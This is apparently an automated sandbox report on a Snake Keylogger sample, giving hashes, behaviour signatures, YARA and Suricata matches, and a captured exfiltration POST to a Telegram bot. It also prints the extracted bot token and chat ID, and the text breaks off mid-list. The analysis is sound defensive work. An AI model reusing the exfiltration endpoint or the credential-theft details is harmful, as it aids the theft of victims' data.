Edit tour

Windows Analysis Report
SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe

Overview

General Information

Sample name:	SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe
Analysis ID:	1618894
MD5:	48303a0f6cf86a64328acc545192bff0
SHA1:	2c9973e30e9697c5c8b6a91ecb3fbc8b05c3b455
SHA256:	dcb42b8ad4e7cc40fe12cfef0f5b97fba6073716a6315784ed6dd8847a51e86d
Tags:	exeuser-SecuriteInfoCom
Infos:

Detection

Snake Keylogger

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected Snake Keylogger

Yara detected Telegram RAT

.NET source code contains potential unpacker

.NET source code contains very large strings

Injects a PE file into a foreign processes

Joe Sandbox ML detected suspicious sample

Sample uses string decryption to hide its real strings

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara signature match

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe (PID: 2828 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe" MD5: 48303A0F6CF86A64328ACC545192BFF0)

SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe (PID: 7184 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe" MD5: 48303A0F6CF86A64328ACC545192BFF0)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7572469755:AAHCBLe3bEv-r8VSlR3NztVSSHz6JBpCC7s/sendMessage"}

Threatname: Snake Keylogger

{"Exfil Mode": "Telegram", "Telegram URL": "https://api.telegram.org/bot7572469755:AAHCBLe3bEv-r8VSlR3NztVSSHz6JBpCC7s/sendMessage?chat_id=7207594974", "Token": "7572469755:AAHCBLe3bEv-r8VSlR3NztVSSHz6JBpCC7s", "Chat_id": "7207594974", "Version": "5.1"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000002.00000002.4165208883.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000002.00000002.4165208883.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x14297:$a1: get_encryptedPassword 0x1457b:$a2: get_encryptedUsername 0x140a3:$a3: get_timePasswordChanged 0x1419e:$a4: get_passwordField 0x142ad:$a5: set_encryptedPassword 0x158e5:$a7: get_logins 0x15848:$a10: KeyLoggerEventArgs 0x154b3:$a11: KeyLoggerEventArgsEventHandler
00000002.00000002.4165208883.0000000000402000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x19262:$x1: $%SMTPDV$ 0x17c34:$x2: $#TheHashHere%& 0x1920a:$x3: %FTPDV$ 0x17bd4:$x4: $%TelegramDv$ 0x154b3:$x5: KeyLoggerEventArgs 0x15848:$x5: KeyLoggerEventArgs 0x1922e:$m2: Clipboard Logs ID 0x1946c:$m2: Screenshot Logs ID 0x1957c:$m2: keystroke Logs ID 0x19856:$m3: SnakePW 0x19444:$m4: \SnakeKeylogger\
00000002.00000002.4166196575.00000000029C2000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000002.00000002.4166196575.0000000002920000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000002.00000002.4166196575.00000000029F7000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.1710598493.00000000048EE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.1710598493.00000000048EE000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2124e7:$a1: get_encryptedPassword 0x232507:$a1: get_encryptedPassword 0x252327:$a1: get_encryptedPassword 0x2127cb:$a2: get_encryptedUsername 0x2327eb:$a2: get_encryptedUsername 0x25260b:$a2: get_encryptedUsername 0x2122f3:$a3: get_timePasswordChanged 0x232313:$a3: get_timePasswordChanged 0x252133:$a3: get_timePasswordChanged 0x2123ee:$a4: get_passwordField 0x23240e:$a4: get_passwordField 0x25222e:$a4: get_passwordField 0x2124fd:$a5: set_encryptedPassword 0x23251d:$a5: set_encryptedPassword 0x25233d:$a5: set_encryptedPassword 0x213b35:$a7: get_logins 0x233b55:$a7: get_logins 0x253975:$a7: get_logins 0x213a98:$a10: KeyLoggerEventArgs 0x233ab8:$a10: KeyLoggerEventArgs 0x2538d8:$a10: KeyLoggerEventArgs
00000000.00000002.1710598493.00000000048EE000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x2174b2:$x1: $%SMTPDV$ 0x2374d2:$x1: $%SMTPDV$ 0x2572f2:$x1: $%SMTPDV$ 0x215e84:$x2: $#TheHashHere%& 0x235ea4:$x2: $#TheHashHere%& 0x255cc4:$x2: $#TheHashHere%& 0x21745a:$x3: %FTPDV$ 0x23747a:$x3: %FTPDV$ 0x25729a:$x3: %FTPDV$ 0x215e24:$x4: $%TelegramDv$ 0x235e44:$x4: $%TelegramDv$ 0x255c64:$x4: $%TelegramDv$ 0x213703:$x5: KeyLoggerEventArgs 0x213a98:$x5: KeyLoggerEventArgs 0x233723:$x5: KeyLoggerEventArgs 0x233ab8:$x5: KeyLoggerEventArgs 0x253543:$x5: KeyLoggerEventArgs 0x2538d8:$x5: KeyLoggerEventArgs 0x21747e:$m2: Clipboard Logs ID 0x2176bc:$m2: Screenshot Logs ID 0x2177cc:$m2: keystroke Logs ID
00000002.00000002.4166196575.0000000002761000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe PID: 2828	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe PID: 2828	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe PID: 2828	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x115e70:$a1: get_encryptedPassword 0x11605d:$a2: get_encryptedUsername 0x115c99:$a3: get_timePasswordChanged 0x115d88:$a4: get_passwordField 0x115e86:$a5: set_encryptedPassword 0x117db8:$a7: get_logins 0x117d30:$a10: KeyLoggerEventArgs 0x117abb:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe PID: 2828	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x117abb:$x5: KeyLoggerEventArgs 0x117d30:$x5: KeyLoggerEventArgs 0x118555:$x5: KeyLoggerEventArgs 0x1188b6:$x5: KeyLoggerEventArgs 0x119e33:$m2: Clipboard Logs ID 0x119f39:$m2: Screenshot Logs ID 0x119f8f:$m2: keystroke Logs ID 0x11a0c4:$m3: SnakePW 0x119f25:$m4: \SnakeKeylogger\
Process Memory Space: SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe PID: 7184	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe PID: 7184	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe PID: 7184	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x13aeb:$a1: get_encryptedPassword 0x13dc5:$a2: get_encryptedUsername 0x13901:$a3: get_timePasswordChanged 0x139fc:$a4: get_passwordField 0x13b01:$a5: set_encryptedPassword 0x15fb3:$a7: get_logins 0x15f16:$a10: KeyLoggerEventArgs 0x15b81:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe PID: 7184	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x15b81:$x5: KeyLoggerEventArgs 0x15f16:$x5: KeyLoggerEventArgs 0x1681d:$x5: KeyLoggerEventArgs 0x16b7e:$x5: KeyLoggerEventArgs 0x1814a:$m2: Clipboard Logs ID 0x18250:$m2: Screenshot Logs ID 0x182a6:$m2: keystroke Logs ID 0x3793:$m3: SnakePW 0x183db:$m3: SnakePW 0x2a6c1:$m3: SnakePW 0x2aad0:$m3: SnakePW 0x2ad94:$m3: SnakePW 0x1823c:$m4: \SnakeKeylogger\
Click to see the 13 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
2.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.400000.0.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
2.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.400000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x14497:$a1: get_encryptedPassword 0x1477b:$a2: get_encryptedUsername 0x142a3:$a3: get_timePasswordChanged 0x1439e:$a4: get_passwordField 0x144ad:$a5: set_encryptedPassword 0x15ae5:$a7: get_logins 0x15a48:$a10: KeyLoggerEventArgs 0x156b3:$a11: KeyLoggerEventArgsEventHandler
2.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.400000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1be50:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1b082:$a3: \Google\Chrome\User Data\Default\Login Data 0x1b4b5:$a4: \Orbitum\User Data\Default\Login Data 0x1c4f4:$a5: \Kometa\User Data\Default\Login Data
2.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x1503a:$s1: UnHook 0x15041:$s2: SetHook 0x15049:$s3: CallNextHook 0x15056:$s4: _hook
2.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.400000.0.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x19462:$x1: $%SMTPDV$ 0x17e34:$x2: $#TheHashHere%& 0x1940a:$x3: %FTPDV$ 0x17dd4:$x4: $%TelegramDv$ 0x156b3:$x5: KeyLoggerEventArgs 0x15a48:$x5: KeyLoggerEventArgs 0x1942e:$m2: Clipboard Logs ID 0x1966c:$m2: Screenshot Logs ID 0x1977c:$m2: keystroke Logs ID 0x19a56:$m3: SnakePW 0x19644:$m4: \SnakeKeylogger\
0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4aec050.2.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4aec050.2.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x12697:$a1: get_encryptedPassword 0x1297b:$a2: get_encryptedUsername 0x124a3:$a3: get_timePasswordChanged 0x1259e:$a4: get_passwordField 0x126ad:$a5: set_encryptedPassword 0x13ce5:$a7: get_logins 0x13c48:$a10: KeyLoggerEventArgs 0x138b3:$a11: KeyLoggerEventArgsEventHandler
0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4aec050.2.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1a050:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x19282:$a3: \Google\Chrome\User Data\Default\Login Data 0x196b5:$a4: \Orbitum\User Data\Default\Login Data 0x1a6f4:$a5: \Kometa\User Data\Default\Login Data
0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4aec050.2.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x1323a:$s1: UnHook 0x13241:$s2: SetHook 0x13249:$s3: CallNextHook 0x13256:$s4: _hook
0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4aec050.2.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x17662:$x1: $%SMTPDV$ 0x16034:$x2: $#TheHashHere%& 0x1760a:$x3: %FTPDV$ 0x15fd4:$x4: $%TelegramDv$ 0x138b3:$x5: KeyLoggerEventArgs 0x13c48:$x5: KeyLoggerEventArgs 0x1762e:$m2: Clipboard Logs ID 0x1786c:$m2: Screenshot Logs ID 0x1797c:$m2: keystroke Logs ID 0x17c56:$m3: SnakePW 0x17844:$m4: \SnakeKeylogger\
0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4aec050.2.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4aec050.2.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x14497:$a1: get_encryptedPassword 0x344b7:$a1: get_encryptedPassword 0x542d7:$a1: get_encryptedPassword 0x1477b:$a2: get_encryptedUsername 0x3479b:$a2: get_encryptedUsername 0x545bb:$a2: get_encryptedUsername 0x142a3:$a3: get_timePasswordChanged 0x342c3:$a3: get_timePasswordChanged 0x540e3:$a3: get_timePasswordChanged 0x1439e:$a4: get_passwordField 0x343be:$a4: get_passwordField 0x541de:$a4: get_passwordField 0x144ad:$a5: set_encryptedPassword 0x344cd:$a5: set_encryptedPassword 0x542ed:$a5: set_encryptedPassword 0x15ae5:$a7: get_logins 0x35b05:$a7: get_logins 0x55925:$a7: get_logins 0x15a48:$a10: KeyLoggerEventArgs 0x35a68:$a10: KeyLoggerEventArgs 0x55888:$a10: KeyLoggerEventArgs
0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4aec050.2.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1be50:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3be70:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x5bc90:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1b082:$a3: \Google\Chrome\User Data\Default\Login Data 0x3b0a2:$a3: \Google\Chrome\User Data\Default\Login Data 0x5aec2:$a3: \Google\Chrome\User Data\Default\Login Data 0x1b4b5:$a4: \Orbitum\User Data\Default\Login Data 0x3b4d5:$a4: \Orbitum\User Data\Default\Login Data 0x5b2f5:$a4: \Orbitum\User Data\Default\Login Data 0x1c4f4:$a5: \Kometa\User Data\Default\Login Data 0x3c514:$a5: \Kometa\User Data\Default\Login Data 0x5c334:$a5: \Kometa\User Data\Default\Login Data
0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4aec050.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x1503a:$s1: UnHook 0x3505a:$s1: UnHook 0x54e7a:$s1: UnHook 0x15041:$s2: SetHook 0x35061:$s2: SetHook 0x54e81:$s2: SetHook 0x15049:$s3: CallNextHook 0x35069:$s3: CallNextHook 0x54e89:$s3: CallNextHook 0x15056:$s4: _hook 0x35076:$s4: _hook 0x54e96:$s4: _hook
0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4aec050.2.raw.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x19462:$x1: $%SMTPDV$ 0x39482:$x1: $%SMTPDV$ 0x592a2:$x1: $%SMTPDV$ 0x17e34:$x2: $#TheHashHere%& 0x37e54:$x2: $#TheHashHere%& 0x57c74:$x2: $#TheHashHere%& 0x1940a:$x3: %FTPDV$ 0x3942a:$x3: %FTPDV$ 0x5924a:$x3: %FTPDV$ 0x17dd4:$x4: $%TelegramDv$ 0x37df4:$x4: $%TelegramDv$ 0x57c14:$x4: $%TelegramDv$ 0x156b3:$x5: KeyLoggerEventArgs 0x15a48:$x5: KeyLoggerEventArgs 0x356d3:$x5: KeyLoggerEventArgs 0x35a68:$x5: KeyLoggerEventArgs 0x554f3:$x5: KeyLoggerEventArgs 0x55888:$x5: KeyLoggerEventArgs 0x1942e:$m2: Clipboard Logs ID 0x1966c:$m2: Screenshot Logs ID 0x1977c:$m2: keystroke Logs ID
0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a23810.0.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a23810.0.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xdccd7:$a1: get_encryptedPassword 0xfccf7:$a1: get_encryptedPassword 0x11cb17:$a1: get_encryptedPassword 0xdcfbb:$a2: get_encryptedUsername 0xfcfdb:$a2: get_encryptedUsername 0x11cdfb:$a2: get_encryptedUsername 0xdcae3:$a3: get_timePasswordChanged 0xfcb03:$a3: get_timePasswordChanged 0x11c923:$a3: get_timePasswordChanged 0xdcbde:$a4: get_passwordField 0xfcbfe:$a4: get_passwordField 0x11ca1e:$a4: get_passwordField 0xdcced:$a5: set_encryptedPassword 0xfcd0d:$a5: set_encryptedPassword 0x11cb2d:$a5: set_encryptedPassword 0xde325:$a7: get_logins 0xfe345:$a7: get_logins 0x11e165:$a7: get_logins 0xde288:$a10: KeyLoggerEventArgs 0xfe2a8:$a10: KeyLoggerEventArgs 0x11e0c8:$a10: KeyLoggerEventArgs
0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a23810.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0xdd87a:$s1: UnHook 0xfd89a:$s1: UnHook 0x11d6ba:$s1: UnHook 0xdd881:$s2: SetHook 0xfd8a1:$s2: SetHook 0x11d6c1:$s2: SetHook 0xdd889:$s3: CallNextHook 0xfd8a9:$s3: CallNextHook 0x11d6c9:$s3: CallNextHook 0xdd896:$s4: _hook 0xfd8b6:$s4: _hook 0x11d6d6:$s4: _hook
0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a23810.0.raw.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xe1ca2:$x1: $%SMTPDV$ 0x101cc2:$x1: $%SMTPDV$ 0x121ae2:$x1: $%SMTPDV$ 0xe0674:$x2: $#TheHashHere%& 0x100694:$x2: $#TheHashHere%& 0x1204b4:$x2: $#TheHashHere%& 0xe1c4a:$x3: %FTPDV$ 0x101c6a:$x3: %FTPDV$ 0x121a8a:$x3: %FTPDV$ 0xe0614:$x4: $%TelegramDv$ 0x100634:$x4: $%TelegramDv$ 0x120454:$x4: $%TelegramDv$ 0xddef3:$x5: KeyLoggerEventArgs 0xde288:$x5: KeyLoggerEventArgs 0xfdf13:$x5: KeyLoggerEventArgs 0xfe2a8:$x5: KeyLoggerEventArgs 0x11dd33:$x5: KeyLoggerEventArgs 0x11e0c8:$x5: KeyLoggerEventArgs 0xe1c6e:$m2: Clipboard Logs ID 0xe1eac:$m2: Screenshot Logs ID 0xe1fbc:$m2: keystroke Logs ID
0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a87c30.1.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a87c30.1.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x788b7:$a1: get_encryptedPassword 0x988d7:$a1: get_encryptedPassword 0xb86f7:$a1: get_encryptedPassword 0x78b9b:$a2: get_encryptedUsername 0x98bbb:$a2: get_encryptedUsername 0xb89db:$a2: get_encryptedUsername 0x786c3:$a3: get_timePasswordChanged 0x986e3:$a3: get_timePasswordChanged 0xb8503:$a3: get_timePasswordChanged 0x787be:$a4: get_passwordField 0x987de:$a4: get_passwordField 0xb85fe:$a4: get_passwordField 0x788cd:$a5: set_encryptedPassword 0x988ed:$a5: set_encryptedPassword 0xb870d:$a5: set_encryptedPassword 0x79f05:$a7: get_logins 0x99f25:$a7: get_logins 0xb9d45:$a7: get_logins 0x79e68:$a10: KeyLoggerEventArgs 0x99e88:$a10: KeyLoggerEventArgs 0xb9ca8:$a10: KeyLoggerEventArgs
0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a87c30.1.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x80270:$a2: \Comodo\Dragon\User Data\Default\Login Data 0xa0290:$a2: \Comodo\Dragon\User Data\Default\Login Data 0xc00b0:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x7f4a2:$a3: \Google\Chrome\User Data\Default\Login Data 0x9f4c2:$a3: \Google\Chrome\User Data\Default\Login Data 0xbf2e2:$a3: \Google\Chrome\User Data\Default\Login Data 0x7f8d5:$a4: \Orbitum\User Data\Default\Login Data 0x9f8f5:$a4: \Orbitum\User Data\Default\Login Data 0xbf715:$a4: \Orbitum\User Data\Default\Login Data 0x80914:$a5: \Kometa\User Data\Default\Login Data 0xa0934:$a5: \Kometa\User Data\Default\Login Data 0xc0754:$a5: \Kometa\User Data\Default\Login Data
0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a87c30.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x7945a:$s1: UnHook 0x9947a:$s1: UnHook 0xb929a:$s1: UnHook 0x79461:$s2: SetHook 0x99481:$s2: SetHook 0xb92a1:$s2: SetHook 0x79469:$s3: CallNextHook 0x99489:$s3: CallNextHook 0xb92a9:$s3: CallNextHook 0x79476:$s4: _hook 0x99496:$s4: _hook 0xb92b6:$s4: _hook
0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a87c30.1.raw.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x7d882:$x1: $%SMTPDV$ 0x9d8a2:$x1: $%SMTPDV$ 0xbd6c2:$x1: $%SMTPDV$ 0x7c254:$x2: $#TheHashHere%& 0x9c274:$x2: $#TheHashHere%& 0xbc094:$x2: $#TheHashHere%& 0x7d82a:$x3: %FTPDV$ 0x9d84a:$x3: %FTPDV$ 0xbd66a:$x3: %FTPDV$ 0x7c1f4:$x4: $%TelegramDv$ 0x9c214:$x4: $%TelegramDv$ 0xbc034:$x4: $%TelegramDv$ 0x79ad3:$x5: KeyLoggerEventArgs 0x79e68:$x5: KeyLoggerEventArgs 0x99af3:$x5: KeyLoggerEventArgs 0x99e88:$x5: KeyLoggerEventArgs 0xb9913:$x5: KeyLoggerEventArgs 0xb9ca8:$x5: KeyLoggerEventArgs 0x7d84e:$m2: Clipboard Logs ID 0x7da8c:$m2: Screenshot Logs ID 0x7db9c:$m2: keystroke Logs ID
Click to see the 19 entries

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-19T09:38:15.887786+0100	2803305	3	Unknown Traffic	192.168.2.4	49736	104.21.80.1	443	TCP
2025-02-19T09:38:19.799652+0100	2803305	3	Unknown Traffic	192.168.2.4	49744	104.21.80.1	443	TCP
2025-02-19T09:38:21.050636+0100	2803305	3	Unknown Traffic	192.168.2.4	49746	104.21.80.1	443	TCP
2025-02-19T09:38:22.318521+0100	2803305	3	Unknown Traffic	192.168.2.4	49748	104.21.80.1	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-19T09:38:14.372897+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49734	193.122.6.168	80	TCP
2025-02-19T09:38:15.326010+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49734	193.122.6.168	80	TCP
2025-02-19T09:38:16.700942+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49738	193.122.6.168	80	TCP
2025-02-19T09:38:17.982215+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49741	193.122.6.168	80	TCP

ETPRO MALWARE Snake Keylogger Telegram Exfil

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-19T09:38:29.738988+0100	2853006	1	A Network Trojan was detected	192.168.2.4	49756	149.154.167.220	443	TCP

Joe Security ANOMALY Telegram Send File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-19T09:38:29.559612+0100	1810008	1	Potentially Bad Traffic	192.168.2.4	49756	149.154.167.220	443	TCP

HTTP traffic detected: POST /bot7572469755:AAHCBLe3bEv-r8VSlR3NztVSSHz6JBpCC7s/sendDocument?chat_id=7207594974&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd5132f24c205aHost: api.telegram.orgContent-Length: 569Connection: Keep-Alive

Source: SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe, 00000002.00000002.4166196575.00000000029F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe, 00000002.00000002.4166196575.0000000002829000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe, 00000002.00000002.4166196575.00000000028BC000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe, 00000002.00000002.4166196575.0000000002920000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe, 00000002.00000002.4166196575.0000000002911000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe, 00000002.00000002.4166196575.00000000028D7000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe, 00000002.00000002.4166196575.00000000028E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe, 00000002.00000002.4166196575.0000000002829000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe, 00000002.00000002.4166196575.00000000028BC000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe, 00000002.00000002.4166196575.000000000286C000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe, 00000002.00000002.4166196575.0000000002920000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe, 00000002.00000002.4166196575.00000000028F2000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe, 00000002.00000002.4166196575.0000000002761000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe, 00000002.00000002.4166196575.0000000002911000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe, 00000002.00000002.4166196575.00000000028D7000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe, 